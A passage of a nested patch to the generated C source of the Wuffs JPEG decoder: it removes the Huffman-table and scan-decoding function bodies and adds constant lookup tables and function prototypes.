internal error: inconsistent decoder state"; + +- uint32_t coro_susp_point = self->private_impl.p_decode_dht[0]; +- if (coro_susp_point) { +- v_tc4_th = self->private_data.s_decode_dht[0].v_tc4_th; +- v_total_count = self->private_data.s_decode_dht[0].v_total_count; +- v_i = self->private_data.s_decode_dht[0].v_i; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ---------------- Private Consts + +- if (self->private_impl.f_sof_marker == 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- while (self->private_impl.f_payload_length > 0u) { +- if (self->private_impl.f_payload_length < 17u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- self->private_impl.f_payload_length -= 17u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (((v_c >> 4u) > 1u) || ((v_c & 15u) > 3u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- v_tc = (v_c >> 4u); +- v_th = (v_c & 15u); +- v_tc4_th = ((uint8_t)(((v_tc * 4u) | v_th))); +- if ((self->private_impl.f_sof_marker == 192u) && ((v_tc4_th & 3u) > 1u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- v_i = 0u; +- while (v_i < 16u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- self->private_data.f_dht_temp_counts[v_i] = t_1; +- } +- v_i += 1u; +- } +- v_working_total_count = 0u; +- v_i = 0u; +- while (v_i < 16u) { +- v_working_total_count = ((v_working_total_count + ((uint32_t)(self->private_data.f_dht_temp_counts[v_i]))) & 65535u); +- v_i += 1u; +- } +- if ((v_working_total_count <= 0u) || (256u < v_working_total_count)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- v_total_count = v_working_total_count; +- if (self->private_impl.f_payload_length < v_total_count) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- self->private_impl.f_payload_length -= v_total_count; +- v_i = 0u; +- while (v_i < v_total_count) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = t_2; +- } +- v_i += 1u; +- } +- while (v_i < 256u) { +- self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] = 0u; +- v_i += 1u; +- } +- if ((v_tc4_th & 4u) == 0u) { +- v_i = 0u; +- while (v_i < v_total_count) { +- if (self->private_impl.f_huff_tables_symbols[v_tc4_th][v_i] > 15u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- v_i += 1u; +- } +- } +- v_failed = wuffs_jpeg__decoder__calculate_huff_tables(self, v_tc4_th, v_total_count); +- if (v_failed) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_dht_marker); +- goto exit; +- } +- self->private_impl.f_seen_dht[v_tc4_th] = true; +- } ++static const uint8_t ++WUFFS_JPEG__UNZIG[80] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 1u, 8u, 16u, 9u, 2u, 3u, ++ 10u, 17u, 24u, 32u, 25u, 18u, 11u, 4u, ++ 5u, 12u, 19u, 26u, 33u, 40u, 48u, 41u, ++ 34u, 27u, 20u, 13u, 6u, 7u, 14u, 21u, ++ 28u, 35u, 42u, 49u, 56u, 57u, 50u, 43u, ++ 36u, 29u, 22u, 15u, 23u, 30u, 37u, 44u, ++ 51u, 58u, 59u, 52u, 45u, 38u, 31u, 39u, ++ 46u, 53u, 60u, 61u, 54u, 47u, 55u, 62u, ++ 63u, 63u, 63u, 63u, 63u, 63u, 63u, 63u, ++ 63u, 63u, 63u, 63u, 63u, 63u, 63u, 63u, ++}; + +- goto ok; +- ok: +- self->private_impl.p_decode_dht[0] = 0; +- goto exit; +- } ++static const uint8_t ++WUFFS_JPEG__BIAS_AND_CLAMP[1024] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 128u, 129u, 130u, 131u, 132u, 133u, 134u, 135u, ++ 136u, 137u, 138u, 139u, 140u, 141u, 142u, 143u, ++ 144u, 145u, 146u, 147u, 148u, 149u, 150u, 151u, ++ 152u, 153u, 154u, 155u, 156u, 157u, 158u, 159u, ++ 160u, 161u, 162u, 163u, 164u, 165u, 166u, 167u, ++ 168u, 169u, 170u, 171u, 172u, 173u, 174u, 175u, ++ 176u, 177u, 178u, 179u, 180u, 181u, 182u, 183u, ++ 184u, 185u, 186u, 187u, 188u, 189u, 190u, 191u, ++ 192u, 193u, 194u, 195u, 196u, 197u, 198u, 199u, ++ 200u, 201u, 202u, 203u, 204u, 205u, 206u, 207u, ++ 208u, 209u, 210u, 211u, 212u, 213u, 214u, 215u, ++ 216u, 217u, 218u, 219u, 220u, 221u, 222u, 223u, ++ 224u, 225u, 226u, 227u, 228u, 229u, 230u, 231u, ++ 232u, 233u, 234u, 235u, 236u, 237u, 238u, 239u, ++ 240u, 241u, 242u, 243u, 244u, 245u, 246u, 247u, ++ 248u, 249u, 250u, 251u, 252u, 253u, 254u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 255u, 255u, 255u, 255u, 255u, 255u, 255u, 255u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 1u, 2u, 3u, 4u, 5u, 6u, 7u, ++ 8u, 9u, 10u, 11u, 12u, 13u, 14u, 15u, ++ 16u, 17u, 18u, 19u, 20u, 21u, 22u, 23u, ++ 24u, 25u, 26u, 27u, 28u, 29u, 30u, 31u, ++ 32u, 33u, 34u, 35u, 36u, 37u, 38u, 39u, ++ 40u, 41u, 42u, 43u, 44u, 45u, 46u, 47u, ++ 48u, 49u, 50u, 51u, 52u, 53u, 54u, 55u, ++ 56u, 57u, 58u, 59u, 60u, 61u, 62u, 63u, ++ 64u, 65u, 66u, 67u, 68u, 69u, 70u, 71u, ++ 72u, 73u, 74u, 75u, 76u, 77u, 78u, 79u, ++ 80u, 81u, 82u, 83u, 84u, 85u, 86u, 87u, ++ 88u, 89u, 90u, 91u, 92u, 93u, 94u, 95u, ++ 96u, 97u, 98u, 99u, 100u, 101u, 102u, 103u, ++ 104u, 105u, 106u, 107u, 108u, 109u, 110u, 111u, ++ 112u, 113u, 114u, 115u, 116u, 117u, 118u, 119u, ++ 120u, 121u, 122u, 123u, 124u, 125u, 126u, 127u, ++}; + +- goto suspend; +- suspend: +- self->private_impl.p_decode_dht[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_dht[0].v_tc4_th = v_tc4_th; +- self->private_data.s_decode_dht[0].v_total_count = v_total_count; +- self->private_data.s_decode_dht[0].v_i = v_i; ++static const uint16_t ++WUFFS_JPEG__EXTEND[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 65535u, 65533u, 65529u, 65521u, 65505u, 65473u, 65409u, ++ 65281u, 65025u, 64513u, 63489u, 61441u, 57345u, 49153u, 32769u, ++}; + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++static const uint8_t ++WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 0u, 1u, 5u, 1u, 1u, 1u, 1u, ++ 1u, 1u, 0u, 0u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 1u, 2u, 3u, 4u, 5u, 6u, ++ 7u, 8u, 9u, 10u, 11u, ++}; + +- return status; +-} ++static const uint8_t ++WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1u, 0u, 3u, 1u, 1u, 1u, 1u, 1u, ++ 1u, 1u, 1u, 1u, 0u, 0u, 0u, 0u, ++ 0u, 0u, 1u, 2u, 3u, 4u, 5u, 6u, ++ 7u, 8u, 9u, 10u, 11u, ++}; + +-// -------- func jpeg.decoder.calculate_huff_tables ++static const uint8_t ++WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 16u, 0u, 2u, 1u, 3u, 3u, 2u, 4u, ++ 3u, 5u, 5u, 4u, 4u, 0u, 0u, 1u, ++ 125u, 1u, 2u, 3u, 0u, 4u, 17u, 5u, ++ 18u, 33u, 49u, 65u, 6u, 19u, 81u, 97u, ++ 7u, 34u, 113u, 20u, 50u, 129u, 145u, 161u, ++ 8u, 35u, 66u, 177u, 193u, 21u, 82u, 209u, ++ 240u, 36u, 51u, 98u, 114u, 130u, 9u, 10u, ++ 22u, 23u, 24u, 25u, 26u, 37u, 38u, 39u, ++ 40u, 41u, 42u, 52u, 53u, 54u, 55u, 56u, ++ 57u, 58u, 67u, 68u, 69u, 70u, 71u, 72u, ++ 73u, 74u, 83u, 84u, 85u, 86u, 87u, 88u, ++ 89u, 90u, 99u, 100u, 101u, 102u, 103u, 104u, ++ 105u, 106u, 115u, 116u, 117u, 118u, 119u, 120u, ++ 121u, 122u, 131u, 132u, 133u, 134u, 135u, 136u, ++ 137u, 138u, 146u, 147u, 148u, 149u, 150u, 151u, ++ 152u, 153u, 154u, 162u, 163u, 164u, 165u, 166u, ++ 167u, 168u, 169u, 170u, 178u, 179u, 180u, 181u, ++ 182u, 183u, 184u, 185u, 186u, 194u, 195u, 196u, ++ 197u, 198u, 199u, 200u, 201u, 202u, 210u, 211u, ++ 212u, 213u, 214u, 215u, 216u, 217u, 218u, 225u, ++ 226u, 227u, 228u, 229u, 230u, 231u, 232u, 233u, ++ 234u, 241u, 242u, 243u, 244u, 245u, 246u, 247u, ++ 248u, 249u, 250u, ++}; ++ ++static const uint8_t ++WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 17u, 0u, 2u, 1u, 2u, 4u, 4u, 3u, ++ 4u, 7u, 5u, 4u, 4u, 0u, 1u, 2u, ++ 119u, 0u, 1u, 2u, 3u, 17u, 4u, 5u, ++ 33u, 49u, 6u, 18u, 65u, 81u, 7u, 97u, ++ 113u, 19u, 34u, 50u, 129u, 8u, 20u, 66u, ++ 145u, 161u, 177u, 193u, 9u, 35u, 51u, 82u, ++ 240u, 21u, 98u, 114u, 209u, 10u, 22u, 36u, ++ 52u, 225u, 37u, 241u, 23u, 24u, 25u, 26u, ++ 38u, 39u, 40u, 41u, 42u, 53u, 54u, 55u, ++ 56u, 57u, 58u, 67u, 68u, 69u, 70u, 71u, ++ 72u, 73u, 74u, 83u, 84u, 85u, 86u, 87u, ++ 88u, 89u, 90u, 99u, 100u, 101u, 102u, 103u, ++ 104u, 105u, 106u, 115u, 116u, 117u, 118u, 119u, ++ 120u, 121u, 122u, 130u, 131u, 132u, 133u, 134u, ++ 135u, 136u, 137u, 138u, 146u, 147u, 148u, 149u, ++ 150u, 151u, 152u, 153u, 154u, 162u, 163u, 164u, ++ 165u, 166u, 167u, 168u, 169u, 170u, 178u, 179u, ++ 180u, 181u, 182u, 183u, 184u, 185u, 186u, 194u, ++ 195u, 196u, 197u, 198u, 199u, 200u, 201u, 202u, ++ 210u, 211u, 212u, 213u, 214u, 215u, 216u, 217u, ++ 218u, 226u, 227u, 228u, 229u, 230u, 231u, 232u, ++ 233u, 234u, 242u, 243u, 244u, 245u, 246u, 247u, ++ 248u, 249u, 250u, ++}; ++ ++#define WUFFS_JPEG__QUIRKS_BASE 1220532224u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__calculate_huff_tables( ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct( + wuffs_jpeg__decoder* self, +- uint8_t a_tc4_th, +- uint32_t a_total_count) { +- uint32_t v_i = 0; +- uint8_t v_j = 0; +- uint8_t v_k = 0; +- uint32_t v_bit_length_minus_one = 0; +- uint8_t v_bit_length = 0; +- uint32_t v_bit_string = 0; +- uint32_t v_slow = 0; +- uint8_t v_prefix = 0; +- uint16_t v_fast = 0; +- uint32_t v_reps = 0; ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q); + +- v_i = 0u; +- v_k = 0u; +- v_bit_length_minus_one = 0u; +- while (v_i < a_total_count) { +- while (v_k >= self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { +- v_k = 0u; +- v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_k += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- self->private_data.f_dht_temp_bit_lengths[v_i] = ((uint8_t)((v_bit_length_minus_one + 1u))); +- v_i += 1u; +- } +- v_bit_length = 0u; +- v_bit_string = 0u; +- v_i = 0u; +- while (v_i < a_total_count) { +- while (v_bit_length < self->private_data.f_dht_temp_bit_lengths[v_i]) { +- if (v_bit_length >= 16u) { +- return true; +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_bit_length += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- v_bit_string <<= 1u; +- } +- self->private_data.f_dht_temp_bit_strings[v_i] = ((uint16_t)(v_bit_string)); +- v_bit_string += 1u; +- if ((v_bit_string >> v_bit_length) > 0u) { +- return true; +- } +- v_i += 1u; +- } +- v_k = 0u; +- v_bit_length_minus_one = 0u; +- while (true) { +- if (self->private_data.f_dht_temp_counts[v_bit_length_minus_one] == 0u) { +- self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = 0u; +- } else { +- v_slow = (255u & ((uint32_t)(((uint32_t)(v_k)) - ((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_k]))))); +- v_k += self->private_data.f_dht_temp_counts[v_bit_length_minus_one]; +- self->private_impl.f_huff_tables_slow[a_tc4_th][v_bit_length_minus_one] = (v_slow | ((((uint32_t)(self->private_data.f_dht_temp_bit_strings[((uint8_t)(v_k - 1u))])) + 1u) << 8u)); +- } +- v_bit_length_minus_one = ((v_bit_length_minus_one + 1u) & 15u); +- if (v_bit_length_minus_one == 0u) { +- break; +- } +- } +- v_i = 0u; +- while (v_i < 256u) { +- self->private_impl.f_huff_tables_fast[a_tc4_th][v_i] = 65535u; +- v_i += 1u; +- } +- v_j = 0u; +- v_bit_length_minus_one = 0u; +- while (v_bit_length_minus_one < 8u) { +- v_k = 0u; +- while (v_k < self->private_data.f_dht_temp_counts[v_bit_length_minus_one]) { +- v_prefix = ((uint8_t)((((uint32_t)(self->private_data.f_dht_temp_bit_strings[v_j])) << (7u - v_bit_length_minus_one)))); +- v_fast = ((uint16_t)(((((uint32_t)((v_bit_length_minus_one + 1u))) << 8u) | ((uint32_t)(self->private_impl.f_huff_tables_symbols[a_tc4_th][v_j]))))); +- v_reps = (((uint32_t)(1u)) << (7u - v_bit_length_minus_one)); +- while (v_reps > 0u) { +- self->private_impl.f_huff_tables_fast[a_tc4_th][v_prefix] = v_fast; +- v_prefix += 1u; +- v_reps -= 1u; +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_k += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- v_j += 1u; +- } +- v_bit_length_minus_one += 1u; +- } +- return false; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct__choosy_default( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q); + +-// -------- func jpeg.decoder.decode_sos ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct_x86_avx2( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__decode_sos( ++wuffs_jpeg__decoder__do_decode_image_config( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_my = 0; +- uint32_t v_mx = 0; +- uint32_t v_decode_mcu_result = 0; +- uint32_t v_bitstream_length = 0; +- +- uint32_t coro_susp_point = self->private_impl.p_decode_sos[0]; +- if (coro_susp_point) { +- v_my = self->private_data.s_decode_sos[0].v_my; +- v_mx = self->private_data.s_decode_sos[0].v_mx; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- if (self->private_impl.f_scan_count >= 64u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_scan_count); +- goto exit; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_jpeg__decoder__prepare_scan(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_next_restart_marker = 0u; +- self->private_impl.f_mcu_previous_dc_values[0u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[1u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[2u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[3u] = 0u; +- self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; +- self->private_impl.f_eob_run = 0u; +- self->private_impl.f_bitstream_bits = 0u; +- self->private_impl.f_bitstream_n_bits = 0u; +- self->private_impl.f_bitstream_ri = 0u; +- self->private_impl.f_bitstream_wi = 0u; +- self->private_impl.f_bitstream_padding = 12345u; +- wuffs_jpeg__decoder__fill_bitstream(self, a_src); +- v_my = 0u; +- while (v_my < self->private_impl.f_scan_height_in_mcus) { +- v_mx = 0u; +- while (v_mx < self->private_impl.f_scan_width_in_mcus) { +- self->private_impl.f_mcu_current_block = 0u; +- self->private_impl.f_mcu_zig_index = ((uint32_t)(self->private_impl.f_scan_ss)); +- if (self->private_impl.f_sof_marker >= 194u) { +- wuffs_jpeg__decoder__load_mcu_blocks(self, v_mx, v_my, a_workbuf); +- } +- while (true) { +- v_decode_mcu_result = wuffs_jpeg__decoder__decode_mcu(self, a_workbuf, v_mx, v_my); +- if (v_decode_mcu_result == 0u) { +- break; +- } else if (v_decode_mcu_result != 1u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__internal_error_inconsistent_decoder_state); +- goto exit; +- } +- while (true) { +- v_bitstream_length = ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri)); +- wuffs_jpeg__decoder__fill_bitstream(self, a_src); +- if (v_bitstream_length < ((uint32_t)(self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri))) { +- break; +- } else if (self->private_impl.f_bitstream_padding == 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } else if ((a_src && a_src->meta.closed) && ! self->private_impl.f_bitstream_is_closed) { +- if (self->private_impl.f_bitstream_wi < 1024u) { +- wuffs_base__bulk_memset(&self->private_data.f_bitstream_buffer[self->private_impl.f_bitstream_wi], 264u, 0u); +- self->private_impl.f_bitstream_wi += 264u; +- self->private_impl.f_bitstream_is_closed = true; +- } +- break; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } +- } +- if (self->private_impl.f_sof_marker >= 194u) { +- wuffs_jpeg__decoder__save_mcu_blocks(self, v_mx, v_my, a_workbuf); +- } +- if (self->private_impl.f_restarts_remaining > 0u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_restarts_remaining -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- if (self->private_impl.f_restarts_remaining == 0u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_jpeg__decoder__skip_past_the_next_restart_marker(self, a_src); +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_mcu_previous_dc_values[0u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[1u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[2u] = 0u; +- self->private_impl.f_mcu_previous_dc_values[3u] = 0u; +- self->private_impl.f_restarts_remaining = self->private_impl.f_restart_interval; +- self->private_impl.f_eob_run = 0u; +- self->private_impl.f_bitstream_bits = 0u; +- self->private_impl.f_bitstream_n_bits = 0u; +- self->private_impl.f_bitstream_ri = 0u; +- self->private_impl.f_bitstream_wi = 0u; +- self->private_impl.f_bitstream_padding = 12345u; +- } +- } +- v_mx += 1u; +- } +- v_my += 1u; +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_scan_count, 1u); ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dqt( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- ok: +- self->private_impl.p_decode_sos[0] = 0; +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dri( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_sos[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_sos[0].v_my = v_my; +- self->private_data.s_decode_sos[0].v_mx = v_mx; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_appn( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint8_t a_marker); + +- goto exit; +- exit: +- return status; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_sof( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + +-// -------- func jpeg.decoder.prepare_scan 